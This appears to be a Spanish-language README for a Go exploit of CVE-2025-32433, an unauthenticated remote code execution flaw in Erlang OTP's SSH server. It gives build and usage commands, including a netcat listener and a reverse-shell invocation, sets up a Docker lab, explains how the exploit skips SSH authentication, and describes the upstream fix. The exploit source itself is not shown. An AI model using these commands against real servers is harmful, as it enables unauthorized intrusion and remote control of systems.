
Exploit basado en Go para CVE-2025-32433
Exploit basado en Go para CVE-2025-32433 que devuelve una shell bash remota.
Muy inspirado en el entendimiento del exploit derivado del PoC de ProDefense para CVE-2025-32433.
make
exploit.exetambién está disponible para máquinas Windows gracias al Makefile de compilación cruzada.
luego ejecuta el binario del exploit de una de estas 2 formas:
Comando
./exploit <target-ip> <target-port> "<command>"
NOTA: no devuelve la salida del comando
Shell Inversa
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
Usando el Dockerfile de ProDefense, puedes configurar un entorno mediante lo siguiente:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
Luego puedes ejecutar el exploit como se indica en la sección Ejecutando el Exploit, por ejemplo:
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1es la IP predeterminada del Host Docker
TL;DR "El problema se debe a una falla en el manejo de mensajes del protocolo SSH que permite a un atacante enviar mensajes de protocolo de conexión antes de la autenticación,"
Procedimiento Típico de SSH:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
Procedimiento del Exploit:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (Pre-autenticación)SSH_MSG_CHANNEL_REQUEST (Pre-autenticación) --> contiene la carga útil del comandoObserva que toda la parte de USERAUTH se omite en el exploit.
RFC relevantes para los mensajes SSH:
RFC 4253: The Secure Shell (SSH) Transport Layer ProtocolRFC 4254: The Secure Shell (SSH) Connection Protocol

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

Formato de Cadena (del RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Relleno

Lo siguiente es la corrección introducida en las Bibliotecas Erlang OTP en el commit ssh: early RCE fix:

La corrección introduce una nueva cláusula handle_msg que, según sus argumentos, captura:
Msg: variable comodín para cualquier mensaje SSH entrante que no haya sido ya cubierto por cláusulas anteriores (como #ssh_msg_disconnect{})#ssh{authenticated = false}: estado de sesión que coincide si la conexión aún no ha sido autenticada.La cláusula no capturará sesiones con authenticated = true, que se adjunta a la sesión cuando el servidor recibe un #ssh_msg_userauth_success{}:

que se envía después del éxito de cualquiera de los siguientes métodos de autenticación:
